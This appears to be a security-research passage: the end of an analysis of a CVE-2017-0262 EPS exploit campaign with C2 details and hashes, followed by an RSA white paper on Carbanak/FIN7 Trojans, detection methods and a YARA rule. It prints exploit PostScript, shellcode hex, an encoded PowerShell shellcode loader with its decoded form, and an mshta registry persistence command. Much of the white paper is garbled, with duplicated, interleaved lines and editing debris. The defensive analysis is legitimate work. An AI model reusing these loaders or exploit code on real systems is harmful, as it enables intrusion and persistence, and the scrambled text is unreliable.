+A8 def 500 {A31 589567 string copy pop} repeat 1 array 226545696 forall /A19 exch def /A18 exch def /A16 A12 array def A19 1 A16 put /A9 226545696 56 add A17 A17 def A9 /A36 exch
+A17 A29 def /A10 A36 4096 A60 def A9 /A68 exch 36 A60 A17 A17 40 A60 A17 def /A7 A18 A10 458752 getinterval def /A4 { /A64 exch def A7 A64 search { length A10 A60 exch pop exch
+pop } { quit } ifelse } bind def /A1 { A7 <50 45> search { length A10 A60 exch pop exch pop } { quit } ifelse } bind def /A28 A36 (KERNEL32.dll) A40 def /A3 A18 A28 4096 getinterval def /A1 {
+A3 <50 45> search { length A28 A60 exch pop exch pop } { quit } ifelse } bind def /A15 { A1 64 A60 A17 255 and } bind def A15 6 ne { quit } if /A14 A28 (ntdll.dll) (NtProtectVirtualMemory)
+A35 def /A67 <94 c3> A4 def /A65 A67 1 A60 def /A66 <c2 0c> A4 def /A55 A68 65536 A60 def /A52 A55 256 A60 def /A48 A55 512 A60 def /A6 A48 def A52 A68 A2 A52 4 A60 A13 A2
+A16 0 A55 put A55 A55 4 A60 A2 A55 4 A60 A66 A2 A55 8 A60 A65 A2 A55 20 A60 A67 A2 A55 24 A60 A14 A2 A55 28 A60 A48 A2 A55 32 A60 -1 A2 A55 36 A60 A52 A2 A55 40 A60 A52
+4 A60 A2 A55 44 A60 64 A2 A55 48 A60 A52 8 A60 A2 A68 2304 A2 /A5 A16 def A18 A6
+<558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc83c11851e80e05000083c40450e81504000083c4088b55fc8982a80000008b45fc83c048508b4dfc83c11851e8e604000083c40450e8ed0
+fd1a498994b7304ea2bf01272c6cc14b66ade7023b2fd8915d1bc7ac4b32bb89803b92980d328ec43b434d1f0620d5249e9eda8b50f1acfd50804566981d4af2b10c79acfa503e83f66c4b8b87e95748bb
+putinterval A5 0 get bytesavailable }
+Of particular in this last snippet is the block with the 
+forall
+ which is the memory corruption routine unique to the known exploit code for CVE-2017-0262, and as described in ESETs
+analysis on the subject. With bit-for-bit copy of CVE-2017-0262 exploit code, we have reasonable confidence that the exploit we are dealing with is in fact CVE-2017-0262.
+Step 5. Second stage payload
+The second-stage payload (<558bec83ec3053e8a40200008945fc8b45fc83c030508b4dfc8
+ ) appears to be a simple hex-encoded blob (no XOR decoding needed). Converting it from
+hex to binary and running the UNIX strings command on it yields the following interesting artifacts that hint what the next stage will be
+QSVW
+ntdll.dll
+kernel32.dll
+LoadLibraryA
+GetProcAddress
+NtAllocateVirtualMemory
+NtProtectVirtualMemory
+GetCurrentProcess
+QSVW
+fff^
+HJON
+r|kw
+ijxip7}uu
+Uvx}Up{kxk`X
+^|mIkvzX}}k|
+pm|_pu|
+KmuPwpmLwpzv}|Jmkpw~
+^|m\wopkvwt|wmOxkpx{
+Mqk|x}
+^|mIkvz|jjPtx~|_pu|Wxt|X
+Nkpm
+8Mqpj9ikv~kxt9z-wwvm9{|9klw9pw9])J9tv}|
+,Kpzqg
+7m|am
+Y7}xmx
+7kjkz
+jZp'
+!zjt
+Command and Control
+The malware performs calls back to 137.74.224[.]142, at five second intervals (Figure 6).
+Figure 6 Malware C2 in Wireshark, courtesy VXStream
+The destination hosts offers an HTTP 200 response and 
+false
+GET /z/get.php?name=c3857e72 HTTP/1.1
+Host: 137.74.224.142
+HTTP/1.1 200 OK
+Date: Thu, 10 Aug 2017 06:59:01 GMT
+Server: Apache/2.4.10 (Debian)
+Content-Length: 5
+Content-Type: text/html; charset=UTF-8
+False
+We believe that the actors would not invoke remote control unless they had ruled out nosy researchers. Based on Google searches identifying the C2 IP address ( 137.74.224[.]142) as an
+established Minecraft (multiplayer game) server, we suspect it is possible that the host has been compromised by the perpetrators and is being used without the permission of the owner.
+Other previous URL resolutions may be associated with prior customers of the virtual private server (Figure 7).
+Figure 7 Historic DNS resolutions for C2 IP address, courtesy PassiveTotal
+During the course of this research we found some similarities in look and feel of this campaign (and its potential attribution) with past FirstWatch posts in Attacking a POS Supply Chain
+part-1 and CHTHONIC and DIMNIE Campaign Targets Russia 8-2-2017.
+Thanks to Kent Backman, Kevin.Douglas2@rsa.com, and Christopher Elisan for all their contributions to this research.
+Appendix
+Md5 hashes of EPS exploit docx with C2 of 137.74.224[.]142
+0c718531890dc54ad68ee33ed349b839
+9c7e70f0369215004403b1b289111099
+e589ae71722ac452a7b6dd657f31c060
+68e190efe7a5c6f1b88f866fc1dc5b88
+630db8d3e0cb939508910bd5c93e09fe
+c43f1716d6dbb243f0b8cd92944a04bd
+df0f8fb172ee663f6f190b0b01acb7bf
+ed74331131da5ac4e8b8a1c818373031
+e8ea2ce5050b5c038e3de727e266705c
+5df8067a6fcb6c45c3b5c14adb944806
+104913aa3bd6d06677c622dfd45b6c6d
+00b470090cc3cdb30128c9460d9441f8
+f8ce877622f7675c12cda38389511f57
+7c80fb8ba6cf094e709b2d9010f972ba
+cfc0b41a7cde01333f10d48e9997d293
+69de4a5060671ce36d4b6cdb7ca750ce
+18c29bc2bd0c8baa9ea7399c5822e9f2
+3be61ecba597022dc2dbec4efeb57608
+b57dff91eeb527d9b858fcec2fa5c27c
+1bb8eec542cfafcb131cda4ace4b7584
+4c1bc95dd648d9b4d1363da2bad0e172
+d9a5834bde6e65065dc82b36ead45ca5
+7743e239c6e4b3912c5ccba04b7a287c
+MD5 hash of EPS exploit with C2 of 158.69.218[.]119
+57f51443a8d6b8882b0c6afbd368e40e
+WHITE PAPER
+THE CARBANAK/FIN7
+SYNDICATE
+A HISTORICAL OVERVIEW OF AN
+EVOLVING THREAT
+WHITE PAPER
+CONTENT
+1. Executive Summary.....................................................................................................
+2. The Digital Arsenal..................................................................................................... 
+2.1. Overview.............................................................................................................
+2.1.1. Anunak/Sekur............................................................................................................ 
+2.1.2. Carberp......................................................................................................................
+2.1.3. Other Windows Trojans.......................................................................................
+2.1.4. Linux and Other Tools..........................................................................................
+3. Anunak Historical Overview..................................................................................
+4. Overlap with Common Crimeware Campaigns................................................
+5. Current Activity.........................................................................................................
+6. Recommendations....................................................................................................
+7. Conclusions.................................................................................................................
+Appendix..........................................................................................................................
+WHITE PAPER
+1. EXECUTIVE SUMMARY
+cate
+noun
+/'sin-di-k
+1. a group of individuals or organizations combined to promote some
+common interest.
+The criminal gangs of the Carbanak/FIN7 syndicate have been attributed to
+numerous intrusions in the banking, hospitality, retail and other industrial
+verticals, collecting financial information of all kinds. The name Carbanak
+comes from 
+Carberp,
+ a banking Trojan whose source code was leaked, and
+Anunak, a custom Trojan that has evolved over the years. Since at least 2015,
+the group appears to have fragmented into smaller, loosely related groups,
+each with its own preferred toolsets and Trojans, although many similarities
+in tactics, techniques and procedures (TTPs) exist.
+Using APT-style tactics and techniques, the perpetrators compromise an
+organization, quickly escalate privileges and begin searching for any system
+that could access the financial data of interest. This ranges from scanning the
+network via WMI to look for running process names containing clear text
+credit card information, to monitoring a user
+s screen to learn how to operate
+the systems used to process financial information. Once they find these data
+and a method to access this financial information, they begin bulk harvesting.
+If it is credit card track data, it can be turned around and sold on carder forums
+in bulk. ATM and SWIFT data require more and less legwork, respectively.
+Based on these tactics, the Carbanak/FIN7 syndicate is oftentimes
+considered an APT. Given our research, RSA disagrees with this classification.
+While the group is an extremely persistent threat, they are not advanced and
+t demonstrate having access to zero-day exploits or innovative tools.
+This gives network defenders the edge in protecting their financial data. With
+proper visibility and control sets in place, an analyst can easily identify these
+techniques and remediate quickly, thus shortening attacker dwell time and
+helping to prevent exfiltration of sensitive data.
+During the course of investigation, RSA Research observed Carbanak actors
+employing a handful of unique Trojans, along with freely available malware,
+to persist and move laterally once a network foothold was established. While
+many of these methods are novel, they are also well-known in the penetration
+testing industry. This is most likely by design, as many of these remote
+administration tools are frequently used by network administrators for
+legitimate purposes and would not have antivirus coverage or seem out of the
+ordinary. Employing the least sophisticated methods available, the Carbanak
+actors safeguard more advanced tools from being identified, and potentially
+invalidated, through static or behavioral detection techniques.
+WHITE PAPER
+This paper reviews the characteristics of Carbanak
+s known Trojans and
+TTPs to provide network defenders a better understanding of the group
+capabilities and history. Armed with this knowledge, defenders should be able
+to better assess risk and allocate resources to the appropriate blind spots that
+plague most modern networked organizations.
+2. THE DIGITAL ARSENAL
+2.1. OVERVIEW
+During the course of this effort, RSA observed many different Remote Access
+Trojans (RATs) associated with this group. Several are based on crimeware/
+2.!The
+Digitalthat
+Arsenal
+banker Trojans
+are in use by different criminal actors, but are uniquely
+customized
+Carbanak/FIN7.
+The following sections outline the capabilities
+2.1.! Overview
+of each RAT and discuss possible detection methods.
+During the course of this effort, RSA observed many different Remote Access Trojans (RATs) associated
+with
+thisAnunak/Sekur
+group. Several are based on crimeware/banker Trojans that are in use by different criminal
+2.1.1.
+actors, but are uniquely customized for Carbanak/FIN7. The following sections outline the capabilities of
+TheRAT
+Anunak,
+or Sekur,
+been
+and may still be
+the mainstay
+each
+and discuss
+possibleTrojan
+detectionhas
+methods.
+of the Carbanak/FIN7 syndicate. A custom configurable Trojan, it has
+undergone minor changes over the past several years, most notably to its
+communications
+2.1.1.! protocols.
+Anunak/Sekur
+TheAnunak,
+Anunak/Sekur
+Trojan
+is a self-contained
+dropper/Trojan
+combination.
+or Sekur, Trojan
+has been
+may still be
+mainstay of the Carbanak/FIN7
+syndicate.
+custom
+configurable
+Trojan,
+undergone
+minor
+changes
+over
+past
+several
+years,
+most
+notably
+If executed outside of its configured path, it will entrench itself and remove
+to its communications protocols.
+the original file. The Trojan is typically packed or 
+crypted
+ (a packer modified
+Anunak/Sekur
+is a self-contained
+dropper/Trojan
+combination.
+If executed outside ofmaking
+over
+time usingTrojan
+encryption,
+encoding
+or compression
+methodologies),
+configured path, it will entrench itself and remove the original file. The Trojan is typically packed or
+static analysis difficult and rendering signatures useless. The Trojan begins
+crypted
+ (a packer modified over time using encryption, encoding or compression methodologies),
+by resolving
+Win32
+APIand
+addresses
+and uses
+RtlDecompressBuffer
+to expand
+making
+static analysis
+difficult
+rendering signatures
+useless.
+The Trojan begins by resolving
+Win32
+and usespayload
+RtlDecompressBuffer
+expandstarts
+the compressed
+payload Host
+DLL. The
+Trojan starts
+theaddresses
+compressed
+DLL. The toTrojan
+the Service
+executable,
+the Service Host executable, svchost.exe, in a suspended state (Figure 1).
+svchost.exe, in a suspended state (Figure 1).
+Deleted:
+Deleted: Cr
+Deleted: Ba
+Deleted: Fi
+Deleted:
+Deleted: 
+Deleted: 
+Deleted: Fi
+Deleted: Sy
+Deleted:
+Comment [
+another"sou
+Comment [
+Deleted:
+Deleted:
+Deleted: ,
+Deleted: .
+Deleted:
+Deleted:
+Figure Figure
+1: Create
+svchost.exe
+Suspended
+1: Create
+svchost.exe Suspended
+The malware then allocates executable memory inside the svchost.exe
+address space, unpacks and injects the expanded DLL, and creates the main
+thread for the Anunak/Sekur malware. The Trojan is then copied into two
+startup directories with a name based off the MAC address and machine
+name (Figures 2 and 3).
+WHITE PAPER
+The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects
+The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects
+the expanded
+DLL, and creates the main thread for the Anunak/Sekur malware. The Trojan is then copied
+the expanded DLL, and creates the main thread for the Anunak/Sekur malware. The Trojan is then copied
+into two
+directories
+with
+the MAC
+MACaddress
+address
+machine
+name
+(Figures
+and 3).
+into startup
+two startup
+directories
+witha aname
+namebased
+based off
+off the
+machine
+name
+(Figures
+2 and23).
+Deleted:Del
+Deleted:
+Figure2:
+2: Autoruns
+Autoruns
+Figure
+Figure
+Figure
+2: Autoruns
+Autoruns
+Figure 3: Entrenchment and Injection
+3: Entrenchment and Injection
+FigureFigure
+3: Entrenchment
+and Injection
+The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their
+Deleted: An
+Deleted:
+3:running
+Entrenchment
+and Injection
+The Trojan
+then
+enumerates
+looking
+fora specific
+worker
+processes
+to increase
+chancesFigure
+ofthe
+persistence.
+Theprocesses,
+Trojan
+also drops
+and reads
+configuration file
+Deleted:
+Deleted:
+with
+initial instructions
+into
+thekilling
+C:\ProgramData\Mozilla\
+directory with
+filename based
+off the of
+antivirus
+vendors
+their worker processes
+to aincrease
+chances
+The Trojan
+enumerates
+running
+address then
+and machine
+namethe
+(Figure
+4). processes, looking for specific antivirus vendors and killing their
+persistence.
+The Trojan
+also
+and The
+reads
+a configuration
+initial file
+worker
+processes to increase
+chances
+of drops
+persistence.
+Trojan
+also drops and file
+readswith
+a configuration
+with initial
+instructions
+into
+C:\ProgramData\Mozilla\
+C:\ProgramData\Mozilla\
+ directory
+with a filename
+based off the MAC
+instructions
+into
+directory
+with a filename
+address
+and machine
+4). Anunak/Sekur
+based
+off the name
+MAC(Figure
+address
+machine
+(Figure
+Figure 4:and
+Initial name
+Configuration
+Example4).
+Figure 4: Anunak/Sekur Initial Configuration Example
+FireEye"goes in-depth into the observed variants, commands the Trojan receives and configurations
+discovered in the wild. RSA NetWitness
+ Endpoint can detect this injected DLL (Figure 5) and triggers
+Figure
+Anunak/Sekur
+Initial
+Configuration
+Example
+Figure
+4: Anunak/Sekur
+Initial6)Configuration
+Example
+many instant indicators
+of compromise
+(IIOCs) (Figure
+that ship with
+the product,
+by default.
+Deleted: in
+Deleted:
+FireEye"goes
+into the observed
+variants,
+commands
+the Trojan
+receivesthe
+and Trojan
+configurations
+FireEyein-depth
+goes in-depth
+into the
+observed
+variants,
+commands
+discovered in the wild. RSA NetWitness
+ Endpoint can detect this injected DLL (Figure
+5) and triggers
+receives and configurations discovered in the wild. RSA NetWitness
+ Endpoint
+many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
+Deleted: In
+Deleted:
+can detect this injected DLL (Figure 5) and triggers many instant indicators of
+compromise (IIOCs) (Figure 6) that ship with the product, by default.
+Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint
+Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint
+Deleted:
+Deleted:
+Deleted: In
+Deleted:
+Deleted: Co
+Deleted:
+Deleted: '
+WHITE PAPER
+Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint
+Figure
+6: IIOCs
+Triggered
+Endpoint
+Figure
+6: IIOCs
+TriggeredininRSA
+RSANetWitness
+NetWitness Endpoint
+The Anunak/Sekur
+Trojan may be
+configured
+communicate
+with the Command
+and Control [C2]
+The Anunak/Sekur
+Trojan
+may betoconfigured
+to communicate
+with the
+server in twoCommand
+ways: via and
+HTTP
+or a custom
+protocol
+to aways:
+hardcoded
+IP address.
+Oftenprotocol
+the Trojan is
+Control
+[C2] server
+in two
+via HTTP
+or a custom
+configured with
+methods.
+The HTTP
+request
+easilyisdetected
+withwith
+NetWitness
+to aboth
+hardcoded
+IP address.
+Often
+the is
+Trojan
+configured
+both
+methods.Logs and
+Packets usingThe
+theHTTP
+RSA NetWitness
+Hunting
+Pack and
+the recommendations
+in the HTTP
+request is easily
+detected
+withfollowing
+RSA NetWitness
+Logs and Packets
+section. The using
+HTTPthe
+method
+uses the GETHunting
+(FigurePack
+7) and
+POST
+(Figure
+methods to create a covert, biRSA NetWitness
+following
+the8)recommendations
+directional communication
+channel
+with
+the C2.
+It generally
+very
+few HTTP
+in the HTTP section.
+HTTP
+method
+uses thehas
+(Figure
+7) andheaders
+POST and oftentimes
+uses the default
+User-Agent
+configured
+in athe
+Windows
+Registry. communication channel
+(Figure
+8) methods
+to create
+covert,
+bi-directional
+with the C2. It generally has very few HTTP headers and oftentimes uses the
+default User-Agent configured in the Windows Registry.
+FigureFigure
+7: Anunak/Sekur
+HTTP GET Request
+7: Anunak/Sekur HTTP GET Request
+WHITE PAPER
+Figure 7: Anunak/Sekur HTTP GET Request
+Figure
+8:8:
+Anunak/Sekur
+HTTPPOST
+POSTRequest
+Request
+Figure
+Anunak/Sekur HTTP
+type
+HTTP C2 communication
+is common
+to many
+malware
+This type ofThis
+HTTP
+C2ofcommunication
+is common to
+many malware
+families
+and families
+is a good reason to
+anddetection
+is a goodand
+reason
+to follow
+up any detection
+treat
+it as 
+routine.
+follow up any
+not treat
+it as 
+routine.
+Pivotingand
+intonot
+NetWitness
+Endpoint and finding
+Pivoting
+into
+NetWitness
+Endpoint
+finding
+module
+creating
+the (Figure 9).
+the module creating the connections leads us to the injected DLLs and tracking data behavior
+connections leads us to the injected DLLs and tracking data behavior (Figure 9).
+Figure 9: Anunak/Sekur Network Tracking Data
+Figure 9:
+Anunak/Sekur Network Tracking Data
+Since RSA NetWitness Endpoint downloads the injected DLL, you can right-click the DLL, select
+analyze RSA
+and view
+the strings. The
+configuration
+path 
+C:\ProgramData\Mozilla\<varies>.bin
+Since
+NetWitness
+Endpoint
+downloads
+the injected DLL, you canshould
+rightvisible the
+in theDLL,
+sselect
+strings,analyze
+and discovery
+this activity
+can be automated
+with a YARA signature.
+click
+andofview
+the strings.
+The configuration
+path 
+ProgramData\Mozilla\<varies>.bin
+should be visible in the DLL
+s strings, and
+YARA Signature for Anunak/Sekur Injected DLL
+rule Carbanak_Anunak
+discovery
+this
+activity
+automated
+with a YARA signature.
+Deleted: ri
+Deleted:
+meta:
+author = 
+RSA FW
+strings:
+$mz =Signature
+{ 4D 5A }
+YARA
+for Anunak/Sekur Injected DLL
+$regex = /\:\\ProgramData\\Mozilla\\.{12,20}\.bin/
+condition:
+rule
+Carbanak_Anunak
+$mz at 0 and $regex
+meta:
+author = 
+RSA FW
+The second method of C2, a custom TCP-based protocol, is more difficult to find. The protocol has
+strings:
+evolved
+over the years
+most recent observations showing it
+s now fully encrypted
+making the data
+= {However,
+4D 5A }there is a distinct handshake in the latest encrypted version. After the TCP
+appear
+random.
+$regexthe=Trojan
+/\:\\ProgramData\\Mozilla\\.{12,20}\.bin/
+handshake,
+sends packet with a 64-byte payload, which the server acknowledges. The Trojan
+then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10). This is
+condition:
+followed by the server sending a packet with a 32-byte payload (Figure 11).
+$mz at 0 and $regex
+Deleted:
+Deleted: 
+Deleted: 
+Deleted:
+Deleted:
+Deleted:
+YARA Signature for Anunak/Sekur Injected DLL
+rule Carbanak_Anunak
+meta:
+author = 
+RSA FW
+strings:
+$mz = { 4D 5A }
+$regex = /\:\\ProgramData\\Mozilla\\.{12,20}\.bin/
+condition:
+$mz at 0 and $regex
+WHITE PAPER
+The second method of C2, a custom TCP-based protocol, is more difficult
+to find. The protocol has evolved over the years
+most recent observations
+The secondshowing
+method of
+a custom
+TCP-based protocol,the
+is more
+difficultrandom.
+to find. The
+protocol has
+sC2,
+fully encrypted
+making
+data appear
+However,
+evolved over
+the years
+most
+recent observations
+showing
+s nowversion.
+fully encrypted
+making
+there
+is a distinct handshake
+in the latest
+encrypted
+After the TCP the data
+appear random.
+However,
+there
+distinct
+handshake
+latest
+encrypted
+version.
+After the TCP
+handshake, the Trojan sends packet with a 64-byte payload, which
+the server
+handshake,acknowledges.
+the Trojan sendsThe
+packet
+withthen
+a 64-byte
+server acknowledges.
+The Trojan
+Trojan
+sendspayload,
+a packetwhich
+with athe
+224-byte
+payload,
+then sends which
+a packet
+with
+224-byte
+payload,
+which
+server
+also
+acknowledges
+(Figure
+10).
+the server also acknowledges (Figure 10). This is followed by the serverThis is
+followed bysending
+the server
+sending
+a packet
+with apayload
+32-byte(Figure
+payload11).
+(Figure 11).
+a packet
+with
+a 32-byte
+Figure
+Handshake Request
+Request Sequence
+Figure
+10:10:
+Handshake
+Sequence
+Figure
+11:11:Handshake
+ResponseRequest
+Request
+Figure
+Handshake Response
+When the RSA NetWitness packet decoder sees this sequence, the metadata
+sekur handshake
+ is registered in the Indicators of Compromise field
+When the RSA NetWitness packet decoder sees this sequence, the metadata 
+sekur handshake
+(Figure 12). While we have high confidence in these results, please be aware
+registered in the Indicators of Compromise field (Figure 12). While we have high confidence in these
+that under rare circumstances this parser may false alarm on sessions
+results, please be aware that under rare circumstances this parser may false alarm on sessions that have
+that have the same handshake pattern and aren
+t actually the Trojan
+s C2
+the same handshake pattern and aren
+t actually the Trojan
+s C2 communications. Any Sekur handshake
+communications. Any Sekur handshake hits should be investigated on the
+hits should be investigated on the host using the above information on the behavior of this Trojan.
+host using the above information on the behavior of this Trojan.
+Figure 12: Anunak/Sekur Handshake Metadata
+WHITE PAPER
+When the RSA NetWitness packet decoder sees this sequence, the metadata 
+sekur handshake
+registered in the Indicators of Compromise field (Figure 12). While we have high confidence in thes
+results, please be aware that under rare circumstances this parser may false alarm on sessions that ha
+the same handshake pattern and aren
+t actually the Trojan
+s C2 communications. Any Sekur handsha
+hits should be investigated on the host using the above information on the behavior of this Trojan.
+Figure 12: Anunak/Sekur Handshake Metadata
+Figure 12: Anunak/Sekur Handshake Metadata
+2.1.2. Carberp
+The Carberp banking Trojan is responsible for the first half of the name
+Carbanak. This Trojan has been around at least since 2010 with the source
+code leaked in 2013.
+2.1.2.!
+Carberp
+Carberp was likely chosen by the actors for both its plug-in capability and
+The Carberp banking
+is responsible
+forsome
+the first
+half of obscurity
+the namefor
+Carbanak.
+codeTrojan
+availability.
+This provides
+operational
+Carbanak/This Trojan has b
+FIN7,
+numerous
+variants
+this
+code
+were
+used
+(and
+remain
+in use)
+around at least since 2010 with the source code leaked in 2013.
+by other Crimeware actors. RSA Incident Response Services has dealt
+theseby
+specific
+Carbanak/FIN7
+actors
+multiple
+times, with
+Carberp was likelywith
+chosen
+the actors
+for both its
+plug-in
+capability
+and this
+codevariant
+availability. This pro
+analyzed by
+Research.
+some operational obscurity
+forRSA
+Carbanak/FIN7,
+as numerous variants of this code were used (and rem
+in use) by other Crimeware
+actors.
+Incident32-bit
+Response
+Services
+has look
+dealtatwith these specific
+The droppers
+comeRSA
+in two versions,
+and 64-bit.
+We will
+Carbanak/FIN7 actors
+multiple
+times, with this variant analyzed by RSA Research.
+the 32-bit
+version.
+The droppers comeMetadata
+in two versions, 32-bit and 64-bit. We will look at the 32-bit version.
+File Name: ml.exe
+Metadata
+File Size: 96256 bytes
+File Name: ml.exe
+MD5:
+608b8bc44a59e2d5c6bf0c5ee5e1f517
+File Size: 96256 bytes
+SHA1:
+37de1791dca31f1ef85a4246d51702b0352def6d
+MD5:
+608b8bc44a59e2d5c6bf0c5ee5e1f517
+PE Time: 0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC]
+SHA1:
+37de1791dca31f1ef85a4246d51702b0352def6d
+Sections (4):
+PE Time: 0x658ACD2B
+[Tue Dec
+Name Entropy
+MD526 12:55:07 2023 UTC]
+Sections (4):
+.text 6.9
+6b51c476e9cae2a88777ee330b639166
+Name Entropy MD5
+.rdata 4.85
+ad94fa5c9ff3adcdc03a1ad32cee0e3a
+.data 1.2
+.rsrc 4.13
+2e2bc95337c3b8eb05467e0049124027
+7396ce1f93c8f7dd526eeafaf87f9c2e
+Figure 13: Carberp Dropper Metadata
+The first noticeable item is that the compile time seems to be in the future.
+In RSA NetWitness Endpoint, the compile time can be added in the Global
+Modules List and sorted on. The two extremes are generally where the
+interesting modules can be found, either a very long time ago or sometime in
+the future.
+When executed, the dropper checks to see if PowerShell is on the system and
+then creates registry keys in 
+HKEY_CURRENT_USER\Software\Licenses.
+HKEY_CURRENT_USER
+ specifies the logged-on user profile, meaning this
+malware will only launch when the user who ran the dropper logs on. This
+technique is oftentimes labelled as 
+file-less malware,
+ but the user
+s Registry
+Hive, NTUSER.dat, is a hidden file residing in the user
+s root directory.
+WHITE PAPER
+On Windows Vista and newer Microsoft operating systems, this is in C:\
+Users\<username>\; older Windows versions reside in C:\Documents and
+Settings\<username>\.
+This represents a problem for the incident responder, as the malware is not
+present in memory, only in the registry, unless the specific user is logged
+on. This is an interesting way to avoid detection by endpoint detection and
+response (EDR) tools. Using a bit of creativity and PowerShell, responders can
+build a script that queries for user profiles and retrieves the actual Registry
+Hive or queries for the registry key itself.
+The first registry key created is {01838681CA59881EA} and contains the
+binary shellcode used to unpack the encoded payload DLL. The second key
+is {01838611EAC11772E} and contains a base 64 encoded PowerShell
+command (Figure 14).
+PowerShell Command Encoded
+w=new ActiveXObject(
+WScript.Shell
+);w.Run(
+powershell.exe -noexit -enc
+JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQB
+uAGMAZQA9ACcAUwB0AG8AcAAnAAoAJABzAD0AKABHAGUAdAAt
+AEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACA
+ASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATABpAGMA
+ZQBuAHMAZQBzACkALgAnAHsAMAAxADgAMwA4ADYAOAAxAEMA
+QQA1ADkAOAA4ADEARQBBAH0AJwAKACQAbAA9ACQAcwAuAEwA
+ZQBuAGcAdABoAAoAJABjAD0AQAAiAAoAWwBEAGwAbABJAG0AcA
+BvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF
+0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQ
+AZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaA
+ByAGUAYQBkACgASQBuAHQAUAB0AHIAIABhACwAdQBpAG4AdAAg
+AGIALABJAG4AdABQAHQAcgAgAGMALABJAG4AdABQAHQAcgAgAG
+QALAB1AGkAbgB0ACAAZQAsAEkAbgB0AFAAdAByACAAZgApADsAC
+gBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzA
+DIALgBkAGwAbAAiACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGE
+AdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgB
+pAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAg
+AGEALAB1AGkAbgB0ACAAYgAsAHUAaQBuAHQAIABjACwAdQBpAG
+4AdAAgAGQAKQA7AAoAIgBAAAoAJABhAD0AQQBkAGQALQBUAHk
+AcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbw
+BuACAAJABjACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgA
+C0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4A
+YwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQAKACQAY
+gA9ACQAYQA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKA
+AwACwAJABsACwAMAB4ADMAMAAwADAALAAwAHgANAAwACkA
+CgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB
+0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAG
+WHITE PAPER
+EAbABdADoAOgBDAG8AcAB5ACgAJABzACwAMAAsACQAYgAsACQA
+bAApAAoAJABhADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZA
+AoADAALAAwACwAJABiACwAMAAsADAALAAwACkAfABPAHUAdA
+AtAE4AdQBsAGwA
+,0,0);
+Figure 14: Encoded PowerShell Command
+PowerShell Command Decoded
+$ErrorActionPreference=
+Stop
+$s=(Get-ItemProperty -Path HKCU:\Software\
+Licenses).
+{01838681CA59881EA}
+$l=$s.Length
+$c=@
+[DllImport(
+kernel32.dll
+public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr
+d,uint e,IntPtr f);
+[DllImport(
+kernel32.dll
+public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);
+$a=Add-Type -memberDefinition $c -Name 
+Win32
+ -namespace
+Win32Functions -passthru
+$b=$a::VirtualAlloc(0,$l,0x3000,0x40)
+[System.Runtime.InteropServices.Marshal]::Copy($s,0,$b,$l)
+$a::CreateThread(0,0,$b,0,0,0)|Out-Null
+Figure 15: Decoded PowerShell Command
+This PowerShell script imports VirtualAlloc and CreateThread from Kernel32,
+copies the shellcode to a segment of memory with PAGE_EXECUTE_
+READWRITE [ 0x40] and creates a thread at the returned base of the allocated
+memory indicated by variable $b (Figure 15). The malware then creates
+another registry entry at 
+HKEY_CURRENT_USER\Software\Microsoft\
+Windows\CurrentVersion\Run\mshta
+ with the values shown in Figure 16.
+PowerShell Command Decoded
+cmd.exe /c mshta 
+about:<hta:application showintaskbar=no><title></
+title><script>resizeTo(0,0);moveTo(-900,-900);eval(new
+ActiveXObject(
+WScript.Shell
+).RegRead(
+HKCU\\Software\\Licenses\\
+{01838611EAC11772E}
+));if(!window.flag)close()</script>
+Figure 16: MSHTA Persistence
+The dropper DLL then runs that same command to start the malware
+and exits, without deleting itself. When the user logs onto their machine,
+the MS HTML Application (MSHTA) creates a new ActiveX object that
+executes the encoded PowerShell script. This PowerShell script allocates
+WHITE PAPER
+HTML
+HTML Application
+Application Registry
+Registry Key
+cmd.exe /c
+cmd.exe
+/c mshta
+mshta "about:<hta:application
+"about:<hta:application
+showintaskbar=no><title></title><script>resizeTo(0,0);moveTo(-900,-900);eval(new
+showintaskbar=no><title></title><script>resizeTo(0,0);moveTo(-900,-900);eval(new
+ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\Licenses\\{01838611EAC11772E}'));if(!
+ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\Licenses\\{01838611EAC11772E}'));if(!
+window.flag)close()</script>"
+window.flag)close()</script>"
+Figure
+Figure 16:
+16: MSHTA
+MSHTA Persistence
+Persistence
+The dropper
+dropper DLL
+DLL then
+then runs
+runs that
+that same
+same command
+command to
+to start
+start the
+the malware
+malware and
+and exits,
+exits, without
+without deleting
+deleting itself.
+itself.
+executable
+copies
+contents(MSHTA)
+of the first
+When
+logs
+machine,
+HTML
+creates
+aa new
+When the
+the user
+user memory
+logs onto
+onto their
+their
+machine,
+thethe
+MS binary
